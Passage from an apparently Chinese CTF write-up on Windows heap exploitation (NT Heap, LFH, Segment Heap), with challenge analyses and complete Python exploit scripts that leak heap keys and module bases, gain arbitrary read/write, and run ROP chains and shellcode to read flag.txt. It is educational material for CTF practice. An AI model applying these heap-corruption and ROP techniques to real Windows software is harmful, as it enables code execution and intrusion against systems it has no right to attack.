add('4', 0x50, 'a' * 0x10 + p64(heap_base + 0xcb0))

logout()
login("sky", "123")

shellcode_addr = (rop_addr - 0x500) & ~0xFFF
buf_addr = rop_addr + 0x128
# windbg.attach(p, "bp {}".format(hex(kernel32.symbols['ReadFile']).replace("L", "")))

# windbg.attach(p, "bp {}".format(hex(shellcode_addr).replace("L", "")))
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))

payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(0xFFFFFFF6)
payload += p64(kernel32.symbols['GetStdHandle'])
payload += p64(ntdll.address + 0x3537a)  # mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret;
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['ReadFile'])
payload += p64(shellcode_addr)
payload += '\x00' * 0x20
payload += p64(0)
payload = payload.ljust(buf_addr - rop_addr, '\x00')
payload += 'flag.txt\x00'
sleep(1)
p.sendline(payload)

shellcode = asm(
    """
    sub rsp, 0x1000
    mov rcx, {0}
    mov edx, 0x80000000
    xor r9d, r9d
    lea r8d, [r9+1]
    mov qword ptr [rsp + 0x30], 0
    mov qword ptr [rsp + 0x28], 0x80
    mov qword ptr [rsp + 0x20], 3
    mov rbx, {1} 
    call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
    xchg rcx,rax
    mov rdx, {0}
    mov r8d, 0x30
    lea r9,[rsp + 0x200]
    mov qword ptr [rsp + 0x20], 0
    mov rbx, {2} 
    call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
    mov rcx, {0}
    mov rbx,{3}
    call rbx // puts(Buffer);
    """.format(
        hex(buf_addr),
        hex(kernel32.symbols['CreateFileA']),
        hex(kernel32.symbols['ReadFile']),
        hex(puts_addr)
    )
)

sleep(1)
p.sendline(shellcode)

p.interactive()

heap overlap(Nt Heap 后端堆)

通过越界写修改 chunk 堆头造成堆块重叠,造成更大范围的越界。

例题:2019 WCTF LazyFragmentationHeap

附件下载链接

结构体定义如下:

struct Node
{
    
  size_t magic2;
  size_t size;
  size_t id;
  size_t magic1;
  char *content;
};

各个功能有如下特点:

add edit show delete OpenFile ReadFile
magic1 初始化为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 或 0xFACE6DA61A35C767 必须为 0xDDAABEEF1ACD 或者 magic2 满足条件
magic2 初始化为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 或者 magic1 满足条件
备注 结束后 magic1 异或 0xFACEB00CA4DADDAA 最多使用 2 次

edit 功能存在越界写:

        v19 = -1i64;
        v20 = ::node_list[v18].content;
        v21 = ::node_list[v18].size;
        do
          ++v19;
        while ( v20[v19] );
        if ( v19 > v21 && ::node_list[v18].magic1 == 0xDDAABEEF1ACDi64 )
        {
    
          v21 = -1i64;
          do
            ++v21;
          while ( v20[v21] );
        }
        if ( read(0, v20, v21) <= 0 )
        {
    
          puts("read error");
          _exit(1);
        }

show 功能存在越界读:

        v26 = ::node_list[v24].content;
        if ( !v26 )
          goto LABEL_56;
        if ( ::node_list[v24].magic2 != 0xDDAABEEF1ACDi64 )
          goto LABEL_56;
        magic = ::node_list[v24].magic1;
        if ( magic != 0xDDAABEEF1ACDi64 && magic != 0xFACE6DA61A35C767ui64 )
          goto LABEL_56;
        printf("Content: %s\n", v26);

由于程序存在越界读,因此我们可以越界读出 chunk 头从而计算出 _HEAP->Encoding 。之后我们可以越界写伪造 chunk 头造成 chunk overlap 进一步扩大漏洞范围。

之后我们可以 UAF 读出 Flink 从而泄露堆基址。然后劫持 FILE 结构体写 NodeList 中的 chunk 指针实现任意地址读。
在这里插入图片描述
通过任意地址读我们可以泄露 ntdll 基址,程序基址和 ucrtbase 基址。

在泄露完所需的地址后,参考上面的操作作如下构造:
在这里插入图片描述
这次劫持 FILE 是为了任意地址写修改 pioinfo.osfile 实现 \x1a 绕过,为后续无次数限制的任意地址读写做准备。因为 magic 的校验的数字 0xFACE6DA61A35C767 中有 \x1a

另外用作 unlink 的 chunk 需要伪造 chunk 头,因为 unlink 时 ListHint 指向该 chunk,在 unlink 之前在 RtlpHeapRemoveListEntry 函数中会对该 chunk 的 Flink 指向的 “chunk” 进行检查

在修改 FILE 结构体的同时修改后一个 chunk 的头部再次构造堆块重叠,然后申请 0x90 大小的 chunk 确保此时 ListHint 指向 unlink chunk 。同时 UAF 修改 unlink chunk 伪造 FlinkBlink ,完成 unlink 所需的条件。 之后再次申请 chunk 触发 unlink 。
在这里插入图片描述
完成 unlink 后 NodeList 可以自写,参考 linux kernel pwnpipe_buffer 自写的构造方法实现任意次数的任意地址读写。

之后就是常规的栈上写 ROP 完成后续利用。需要注意的是,由于前面的堆利用破坏了系统默认堆的堆结构,后续利用可能会造成程序崩溃(比如 open 函数),因此需要先通过 ROP 完成堆修复。

题目提供的虚拟机可能因为 VMWare 版本问题卡到无法使用,但是根据题目提供的 dll 版本找到了 Windows 10, version 1903 (Updated Oct 2019) 虚拟机其内置的 dll 与题目提供的一致,因此我在该虚拟机上完成利用。
在这里插入图片描述
由于程序使用的是进程默认堆,因此堆排布成功率较低,需要多次尝试。

在进行堆排布之前多次使用 open file 功能在不触发 LFH 的情况下可以清空后端堆中的部分内存碎片,提高利用成功率。

from winpwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.timeout = 2

pe = winfile("LazyFragmentationHeap.exe")
ntdll = winfile("ntdll.dll")
kernel32 = winfile("kernel32.dll")
ucrtbase = winfile("ucrtbase.dll")


def add(size, id):
    p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('Size:', str(size))
    p.sendlineafter('ID:', str(id))


def edit(id, content):
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('ID:', str(id))
    p.sendafter('Content:', content)


def show(id):
    p.sendlineafter('Your choice: ', '3')
    p.sendlineafter('ID:', str(id))
    p.recvuntil('Content: ')


def delete(id):
    p.sendlineafter('Your choice: ', '4')
    p.sendlineafter('ID:', str(id))


def open_file(times):
    p.sendlineafter('Your choice: ', '5')
    for i in range(times):
        p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('Your choice: ', '3')


def read_file(id, size, content=None):
    p.sendlineafter('Your choice: ', '5')
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('ID:', str(id))
    p.sendlineafter('Size:', str(size))
    if (content): p.send(content)
    p.sendlineafter('Your choice: ', '3')


start = lambda: process(pe.path)


def chunk_head(size, prevsize, flags=1, unused=None):
    if unused == None: unused = 8 if flags & 1 else 0
    return u64(p16(size >> 4) + p8(flags) + p8((size >> 4 & 0xFF) ^ (size >> 12) ^ flags) + p16(prevsize) + p8(0) + p8(unused))


def arbitrary_address_read(address, is_offset=False, close=True):
    global p
    while True:
        try:
            p = start()
            open_file(4)
            add(0x88, 1)  # 0
            add(0x88, 2)  # 1
            add(0x88, 3)  # 2
            read_file(1, 0x88)
            show(1)
            p.recv(0x88)
            heap_encoding = u64(p.recvline(drop=True).ljust(8, '\x00')) ^ 0x0000000908010009
            log.success("heap encoding: " + hex(heap_encoding))
            edit(1, 'a' * 0x88 + p64(chunk_head(0x120, 0x90) ^ heap_encoding)[:6])
            delete(2)
            # windbg.attach(p, "bp 00007ff6`437b0000+1550")
            add(0x88, 4)  # 1
            show(3)
            heap_base = u64(p.recvline(drop=True).ljust(8, '\x00')) & ~0xFFFF
            log.success("heap base: " + hex(heap_base))
            assert heap_base != 0
            open_file(1)
            fake_FILE = ''
            fake_FILE += p64(0)  # _ptr
            fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20)  # _base
            fake_FILE += p32(0)  # _cnt
            fake_FILE += p32(0x2080)  # _flags
            fake_FILE += p32(0)  # _file = stdin(0)
            fake_FILE += p32(0)  # _charbuf
            fake_FILE += p64(0x200)  # _charbuf
            fake_FILE += p64(0)  # _tmpfname
            fake_FILE += p64(0xffffffffffffffff)  # DebugInfo
            fake_FILE += p32(0xffffffff)  # LockCount
            fake_FILE += p32(0)  # RecursionCount
            fake_FILE += p64(0)  # OwningThread
            fake_FILE += p64(0)  # LockSemaphore
            fake_FILE += p64(0)  # SpinCount
            edit(3, fake_FILE)
            log.info("read addr: " + hex((heap_base + address) if is_offset else address))
            read_file(4, 8, p64((heap_base + address) if is_offset else address))
            show(4)
            value = u64(p.recvline(drop=True).ljust(8, '\x00')[:8])
            if close: p.close()
            return value
        except KeyboardInterrupt:
            p.close()
            exit(0)
        except:
            p.close()


ntdll.address = (arbitrary_address_read(0x2c0, True) - 0x15f000) & ~0xFFFF
log.success("ntdll base: " + hex(ntdll.address))

pe_base_offset = (arbitrary_address_read(ntdll.address + 0x1653D0) & 0xFFFF) + 0x30
log.info("pe base offset: " + hex(pe_base_offset))

pe.address = arbitrary_address_read(pe_base_offset + 2, True) << 16
log.success("pe base: " + hex(pe.address))

ucrtbase.address = arbitrary_address_read(pe.imsyms['puts']) - ucrtbase.symbols['puts']
log.success("ucrtbase base: " + hex(ucrtbase.address))

pioinfo_offset = arbitrary_address_read(ucrtbase.address + 0xeb770) & 0xFFFF
log.info("pioinfo offset: " + hex(pioinfo_offset))

while True:
    p = start()
    try:
        open_file(4)
        add(0x88, 1)  # 0
        add(0x88, 2)  # 1
        add(0xe8, 3)  # 2
        add(0x88, 5)  # 3
        add(0x88, 6)  # 4
        read_file(1, 0x88)
        show(1)
        p.recv(0x88)
        heap_encoding = u64(p.recvline(drop=True).ljust(8, '\x00')) ^ 0x0000000908010009
        log.success("heap encoding: " + hex(heap_encoding))
        edit(1, 'a' * 0x88 + p64(chunk_head(0x210, 0x90) ^ heap_encoding))
        delete(2)
        add(0x88, 4)  # 1
        show(3)
        heap_base = u64(p.recvline(drop=True).ljust(8, '\x00')) & ~0xFFFF
        log.success("heap base: " + hex(heap_base))
        assert heap_base != 0

        open_file(1)
        add(0x88, 7)  # 5
        # unlink chunk bypass Flink chunk head check in RtlpHeapRemoveListEntry
        unlink_id = chunk_head(0x120, 0x200) ^ heap_encoding
        add(0x88, unlink_id)  # 6

        fake_FILE = ''
        fake_FILE += p64(0)  # _ptr
        fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20)  # _base
        fake_FILE += p32(0)  # _cnt
        fake_FILE += p32(0x2080)  # _flags
        fake_FILE += p32(0)  # _file = stdin(0)
        fake_FILE += p32(0)  # _charbuf
        fake_FILE += p64(0x200)  # _charbuf
        fake_FILE += p64(0)  # _tmpfname
        fake_FILE += p64(0xffffffffffffffff)  # DebugInfo
        fake_FILE += p32(0xffffffff)  # LockCount
        fake_FILE += p32(0)  # RecursionCount
        fake_FILE += p64(0)  # OwningThread
        fake_FILE += p64(0)  # LockSemaphore
        fake_FILE += p64(0)  # SpinCount
        edit(3, fake_FILE + p64(chunk_head(0x120, 0x60) ^ heap_encoding))
        delete(7)
        add(0x88, 9)  # 5
        log.info("pioinfo addr: " + hex(heap_base + pioinfo_offset))
        log.info("pioinfo.osfile addr: " + hex(heap_base + pioinfo_offset + 0x38))
        read_file(4, 8, p64(heap_base + pioinfo_offset + 0x38))
        edit(4, p8(0xc1))
        edit(5, p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20))
        add(0x88, 10)  # unlink

        fake_node = lambda id, content: p64(0xDDAABEEF1ACD) + p64(0x500) + p64(id) + p64(0xDDAABEEF1ACD) + p64(content)

        edit(unlink_id, p64(0) + fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))


        def arbitrary_address_read(address, recover=True):
            edit(333, fake_node(111, address) + fake_node(222, 0xBEEFDAD0000 + 0x28 * 7))
            show(111)
            data = p.recvline(drop=True).ljust(8, '\x00')
            if recover: edit(222, fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))
            return data


        def arbitrary_address_write(address, content, recover=True):
            edit(333, fake_node(111, address) + fake_node(222, 0xBEEFDAD0000 + 0x28 * 7))
            edit(111, content)
            if recover: edit(222, fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))


        kernel32.address = u64(arbitrary_address_read(pe.imsyms['GetCurrentThreadId'])[:8]) - kernel32.symbols['GetCurrentThreadId']
        log.success("kernel32 base: " + hex(kernel32.address))
        assert kernel32.address != 0
        PEB_addr = u64(arbitrary_address_read(ntdll.address + 0x165348)[:8]) - 0x80
        log.success("PEB addr: " + hex(PEB_addr))
        TEB_addr = PEB_addr + 0x1000
        log.info("TEB addr: " + hex(TEB_addr))
        stack_base = u64(arbitrary_address_read(TEB_addr + 8 + 2)) << 16
        log.success("stack base: " + hex(stack_base))
        stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 1)) << 8
        if stack_limit == 0: stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 2)) << 16
        log.success("stack limit: " + hex(stack_limit))

        search_length = 0x100
        main_ret_addr = -1
        for start_search in range(stack_base - search_length, stack_limit, -search_length):
            address = start_search
            while address - start_search < search_length:
                stack_data = arbitrary_address_read(address)
                offset = stack_data.find(p64(pe.address + 0x1B78))
                if offset != -1:
                    main_ret_addr = address + offset
                    break
                address += len(stack_data)
            if main_ret_addr != -1: break

        rop_addr = main_ret_addr - 0x80
        buf_addr = rop_addr + 0x200 + 0x20

        payload = ''
        payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(0)
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
        payload += p64(0)
        payload += p64(kernel32.symbols['HeapCreate'])
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(PEB_addr + 0x30)  # process_heap
        payload += p64(0)
        payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(ucrtbase.address + 0xEB570)  # __acrt_heap
        payload += p64(0)
        payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
        payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
        payload += p64(buf_addr)
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(0)
        payload += p64(0)
        payload += p64(ucrtbase.symbols['_open'])
        payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
        payload += '\x00' * 0x28
        payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
        payload += p64(8)  # fileno
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(buf_addr)
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
        payload += p64(0x100)
        payload += p64(ucrtbase.symbols['_read'])
        payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
        payload += '\x00' * 0x28
        payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
        payload += p64(1)
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(buf_addr)
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
        payload += p64(0x100)
        payload += p64(ucrtbase.symbols['_write'])
        payload = payload.ljust(buf_addr - rop_addr, '\xcc')
        payload += 'flag.txt\x00'

        log.info("main ret addr: " + hex(main_ret_addr))
        log.info("rop addr: " + hex(rop_addr))
        log.info("buf addr: " + hex(buf_addr))
        arbitrary_address_write(rop_addr, payload, False)
        
        p.interactive()
        break
        
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()

reuse attack(Nt Heap LFH 堆)

假设有一个 Use after free 的漏洞,但因为 LFH 的随机性,导致无法预测下一个 chunk 会在哪,使得很难进行堆布局。这时可以采用填充 Userblock 的方式,即先分配完所有的 LFH 堆块再 free 掉其中一块,那么下次分配的堆块一定与漏洞堆块是同一个堆块。
在这里插入图片描述

double malloc(Segment Heap LFH 堆)

LfhSubsegmentBlockBitmap 记录了该 Subsegment 中的堆块分配情况。如果可以越界修改 LfhSubsegment 的头部,那么可以通过修改 LfhSubsegment.BlockBitmap 实现堆已分配的堆块的重新分配。
在这里插入图片描述

例题:2022 ByteCTF OhMyWindows

附件下载链接

程序分析如下:
首先通过HeapCreate创建了一个新的堆空间,并分配了 0x10 个 0x10 大小的堆块。

  • add:能够分配 10 次 chunk_structdata_chunk 大小可以为 0x10 或 1 次 0x30000。其中 chunk_chunk 定义如下:
    struct chunk_struct{
          
        size_t size;
        void* data_chunk;
    }
    
  • edit:修改 0x10 的 data_chunk ,0x30000 堆块有一次机会向上越界修改为 0 的机会。
  • show:输出堆块数据
  • delete:释放 data_chunkchunk_struct

另外由启动脚本可知本题开启了 Segment Heap 。

我们首先申请 0xF 个 0x10 大小的 data_chunk 。这样会在 LfhSubsegment 中喷射 0xF 个 chunk_structdata_chunk 。之后再申请一个 0x30000 大小的 data_chunk 。此时 PageSubsegment 中的内存布局如下图所示:
在这里插入图片描述
此时我利用 edit 向前越界写 0 将 LfhSubsegmentBlockBitmap 覆盖成全 0 ,此时 LfhSubsegment 中的 Block 又都处于释放状态了。
在这里插入图片描述

此时再申请一个 0x10 大小的 data_chunk 有一定概率让新申请的 chunk_struct 与之前的 data_chunk 重叠。

如果申请的 chunk_struct 与之前的 data_chunk 重叠,那么此时可以通过修改之前的 data_chunk 然后读写新申请的 chunk_struct 从而实现任意地址读写。
在这里插入图片描述

有了任意地址读写之后我们还需要考虑如何泄露地址。

我们可以把堆内存地址划分成两个区域:

  • _SEGMENT_HEAP 相关内存区域
  • _HEAP_PAGE_SEGMENT 相关内存区域

这里划分的原则是如果知道该区域的某个地址那么就可以得到该区域的关键结构地址。比如我们可以泄露 LfhBlock 的地址,该地址属于 _HEAP_PAGE_SEGMENT 相关内存区域,因此我们可以推算出 _HEAP_PAGE_SEGMENT 的地址以及 _HEAP_LFH_SUBSEGMENT 的地址。

根据上述划分方式,此时内存中相关结构之间的关系如下图所示:
在这里插入图片描述
从图中可以看出,我们可以泄露如下地址以及数据:

  • _HEAP_LFH_SUBSEGMENT:在劫持 chunk_struct 后我们可以读出 data_chunk 指针泄露 LfhBlock 的地址。又因为 LfhSubsegment 关于页对齐且大小为 0x1000 ,因此我们可以得到 LfhSubsegment 地址。
  • _HEAP_PAGE_SEGMENT:由于 _HEAP_LFH_SUBSEGMENT_HEAP_PAGE_SEGMENT 之间偏移固定,因此我们可以得到 LfhSubsegment 地址后可以推算出 PageSegment 地址。
  • _HEAP_PAGE_SEGMENT.Signature:获取到 PageSegment 地址后可以通过任意地址读获取 Signature
  • _SEGMENT_HEAP:通过 LfhSubsegment.Owner 泄露 AffinitySlots 的地址,由于 SegmentHeap 关于 0x10000 对齐,因此可以得到 SegmentHeap 地址。
  • _HEAP_LFH_CONTEXT:由于 LfhContextSegmentHeap 结构体上,因此在 SegmentHeap 地址已知的情况下可以得到 LfhContext 地址。
  • _HEAP_SEG_CONTEXT:由于 SegContextSegmentHeap 结构体上,因此在 SegmentHeap 地址已知的情况下可以得到 SegContext 地址。
  • RtlpHpHeapGlobals.HeapKeyPageSegment.Signature 是通过 PageSegment ^ SegContext ^ RtlpHpHeapGlobals.HeapKey ^ 0xA2E64EADA2E64EAD 计算,在 SignatureSegContext PageSegment 已知的情况下可以计算出 HeapKey
  • ntdll.dllLfhSubsegment.Callbacks 中的函数指针 RtlpHpHeapGlobals.HeapKey ^ LfhContext ^ func_ptr ,在 HeapKeyLfhContext 已知的情况下可以解密出函数指针。而这些函数时 ntdll.dll 中的函数因此也就可以泄露 ntdll.dll 的基址。

完成 ntdll.dll 基址的泄露后,剩下的就是常规的栈上写 ROP 的方法了。

from winpwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
context.timeout = 2
pe = winfile("./OhMyWindows.exe")
ntdll = winfile("ntdll.dll")
ucrtbase = winfile("ucrtbase.dll")


def add(index, size_type=1, content='a'):
    p.sendlineafter("Your choice:", "1")
    p.sendlineafter("Please input index:", str(index))
    p.sendlineafter("Your choice:", str(size_type))
    p.sendlineafter("Please input content:", content)


def edit(index, content):
    p.sendlineafter("Your choice:", "2")
    p.sendlineafter("Please input index:", str(index))
    p.sendafter("Please input new content:", content)


def backdoor(index, pos):
    p.sendlineafter("Your choice:", "2")
    p.sendlineafter("Please input index:", str(index))
    p.sendlineafter("Maybe you can give me a pos:", str(pos))


def show(index):
    p.sendlineafter("Your choice:", "3")
    p.sendlineafter("Please input index:", str(index))
    p.recvuntil("Content:")
    return p.recvline(drop=True)


def delete(index):
    p.sendlineafter("Your choice:", "4")
    p.sendlineafter("Please input index:", str(index))


start = lambda: process(pe.path)

target_id = None

while True:
    global p, lfh_subsegment
    try:
        p = start()
        for i in range(0xF): add(i, content="aaa")
        add(0xF, 2, 'bbb')
        backdoor(0xF, 0x1FC)
        add(0x10)

        for i in range(0xF):
            data = show(i)
            if data[:1] == '\x10':
                target_id = i
                log.success("target id: " + str(target_id))
                lfh_subsegment = u64(data[8:]) & ~0xFFF
                log.success("LfhSubsegment addr: " + hex(lfh_subsegment))
                break
        assert target_id != None
        break
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()


def arbitrary_address_read(address, length=0x100):
    edit(target_id, p64(length) + p64(address))
    return show(0x10)


def arbitrary_address_write(address, content):
    edit(target_id, p64(len(content)) + p64(address))
    edit(0x10, content)


context.timeout = 0xFFFFFFFFFFFFF

page_segment = lfh_subsegment - 0x11000 - 0x2000
log.info("PageSegment: " + hex(page_segment))

segment_heap = u64(arbitrary_address_read(lfh_subsegment + 0x10, 8)) & ~0xFFFF
log.success("SegmentHeap addr: " + hex(segment_heap))

seg_context = segment_heap + 0x100
log.info("SegContext addr: " + hex(seg_context))

lfh_context = segment_heap + 0x340
log.info("LfhContext addr: " + hex(lfh_context))

page_segment_signature = u64(arbitrary_address_read(page_segment + 0x10, 8))
log.info("PageSegment.Signature: " + hex(page_segment_signature))

heap_key = page_segment ^ page_segment_signature ^ seg_context ^ 0xA2E64EADA2E64EAD
log.info("HeapKey: " + hex(heap_key))

ntdll.address = (u64(arbitrary_address_read(lfh_context + 0x8, 8)) ^ heap_key ^ lfh_context) - 0x1DA60
log.success("ntdll base: " + hex(ntdll.address))

peb_addr = u64(arbitrary_address_read(ntdll.address + 0x166388, 8)) - 0x340
log.success("peb addr: " + hex(peb_addr))
teb_addr = peb_addr + 0x1000
log.info("teb addr: " + hex(teb_addr))

pe.address = u64(arbitrary_address_read(peb_addr + 0x10, 8))
log.success("pe base: " + hex(pe.address))

ucrtbase.address = u64(arbitrary_address_read(pe.imsyms['puts'], 8)) - ucrtbase.symbols['puts']
log.info("ucrtbase base: " + hex(ucrtbase.address))

stack_base = u64(arbitrary_address_read(teb_addr + 0x8, 8))
log.success("stack base: " + hex(stack_base))
stack_limit = u64(arbitrary_address_read(teb_addr + 0x10, 8))
log.success("stack limit: " + hex(stack_limit))

search_length = 0x100
rop_addr = -1
for address in range(stack_base - search_length, stack_limit, -search_length):
    stack_data = arbitrary_address_read(address, search_length)
    offset = stack_data.find(p64(pe.address + 0x1B80))
    if offset != -1:
        rop_addr = address + offset
        break

log.success("rop addr: " + hex(rop_addr))
buf_addr = rop_addr + 0x100 + 0x28
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ntdll.search(asm("ret"), executable=True).next())
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop rdx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ucrtbase.symbols['_open'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(3)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbase.symbols['_read'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(1)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbase.symbols['_write'])
payload = payload.ljust(buf_addr - rop_addr, '\xcc')  # bypass CheckStackVars
payload += 'flag.txt\x00'
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbase.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)

arbitrary_address_write(rop_addr, payload)

# windbg.attach(p, "bp 1920+00007ff7`4d7f0000")
p.sendlineafter("Your choice:", "5")
p.recvuntil("Bye~")

p.interactive()

heap overlap(Segment Heap 后端堆)

通过修改 _HEAP_PAGE_SEGMENTDescArray 造成其中的 Block 发生重叠。之后从后端堆申请 Block 时可以越界申请出相连 Block 的内存。
在这里插入图片描述

例题:2021 WMCTF winpwn

windows 镜像 附件下载链接
程序的相关功能分析如下:

  • game:堆菜单
    • attack:申请堆块,有 3 种功能,最多使用 10 次,每次 user.score++ 。条件是 user.hurt 必须足够大。
      • tip1:申请一块用户内存大小为 0x20 - 0x80500 大小的 Block
      • tip2:最多使用 2 次。申请一块用户内存大小为 0x20 和一块用户内存大小为 0x20000 的 Block 。其中 0x20 的 Block 的前 8 字节设置为 0x1A1A2B2B3C3C4D4D ,后 8 字节节指向 0x20000 的 Block
      • tip3:最多使用 1 次。申请一块用户内存大小为 0x100 的 Block 。如果是第一次使用 attack 功能,那么触发除 0 异常,对应异常处理会将设置全局指针 write_base 指向新申请的 Block
    • improve:如果 user.score 非 0 会将一部分 user.score 的值转移到 user.hurt 。这里 user.score 存在负溢出,会导致 user.score 的值变得特别大。
    • wall:堆菜单
      • show:如果是 tip2 会输出 0x20000 的 Block 的内容。
      • edit:如果是 tip2 会检查 0x20 的 Block 的前 8 字节是否为 0x1A1A2B2B3C3C4D4D ,如果是则可以编辑 0x20000 的 Block 的前 100 字节,否则只能有一次编辑 0x20000 的 Block 的前 10 字节的机会。
      • delete 释放 Block
  • user_manager:管理用户
    • create_user:创建用户。
    • show_user:输出用户的相关信息。
    • edit_name:修改 user.name ,存在 off-by-one 漏洞,可以越界写 user.is_vip
  • buy:存在一个次以全局指针 write_base 指向的地址为基址向低地址偏移最多 0x27f8 字节的地址的任意 8 字节写入。但前提是对应 user.score > 9999999
  • bonus:设置 user.hurt 。函数对 user.hurt 的判断未考虑输入为负数的情况,可以将 user.hurt 设置为一个很大的数。但前提是 user.is_vip 非 0 。

根据上述分析有如下漏洞利用思路:

  • 首先利用 edit_name 越界写设置 user.is_vip 为非 0 ,然后利用 bonus 设置 user.hurt 为负数。

  • 之后作如下堆排布,同时利用 improve 设置 user.score 为 -1 。
    在这里插入图片描述

  • 利用 buy 功能越界写 DescArray 造成 heap overlap ,然后利用 tip1 申请 0x20000 的 Block 使得越界的 BlockVsSubsegment 重叠。
    在这里插入图片描述

  • 之后使用 tip2 申请内存时 0x20 的 BlockVsSubsegment 中申请,而 0x20000 的 Block 则直接申请出整个 VsSubsegment 。由于 heap_ptr[6]xor_key 未被破坏(先把需要的堆块全申请完再填的堆块信息),因此可以进行 0x100 字节的写入从而控制 heap_ptr[3] 。至此我们有无限次的任意地址读和 1 次 0x10 字节的任意地址写。
    在这里插入图片描述

  • 之后的利用可以参考 double malloc 。不过要想写入 rop 一次 0x10 字节的任意地址写是不够的。不过我们可以利用这次任意地址写修改 heap_ptr[6] 指向要写入 rop 的地址,由于 heap_ptr[6]xor_key 未被破坏,因此可以进行 0x100 字节的写入。

from winpwn import *

context.log_level = 'debug'
context.arch = 'amd64'
pe = winfile("easy_wm_winpwn.exe")
# kernel32 = winfile("dll/kernel32.dll")
ntdll = winfile("dll/ntdll.dll")
ucrtbase = winfile("dll/ucrtbase.dll")
# kernelbase = winfile("dll/KernelBase.dll")

p = process(pe.path)


def choose(choice):
    p.sendlineafter("Your choice: ", str(choice))


def enter_game(id):
    choose(1)
    p.sendlineafter("Please enter user id:", str(id))


def exit_game():
    choose(4)


def attack(tip, size=0):
    choose(1)
    choose(tip)
    if tip == 1:
        p.sendlineafter("Acquired size: ", str(size))


def improve(val):
    choose(2)
    p.sendline(str(val))


def show_wall(idx):
    choose(3)
    choose(1)
    p.sendlineafter("plz:", str(idx))
    p.recvuntil("Content: ")


def edit_wall(idx, content):
    choose(3)
    choose(2)
    p.sendlineafter("plz:", str(idx))
    p.send(content)


def delete_wall(idx):
    choose(3)
    choose(3)
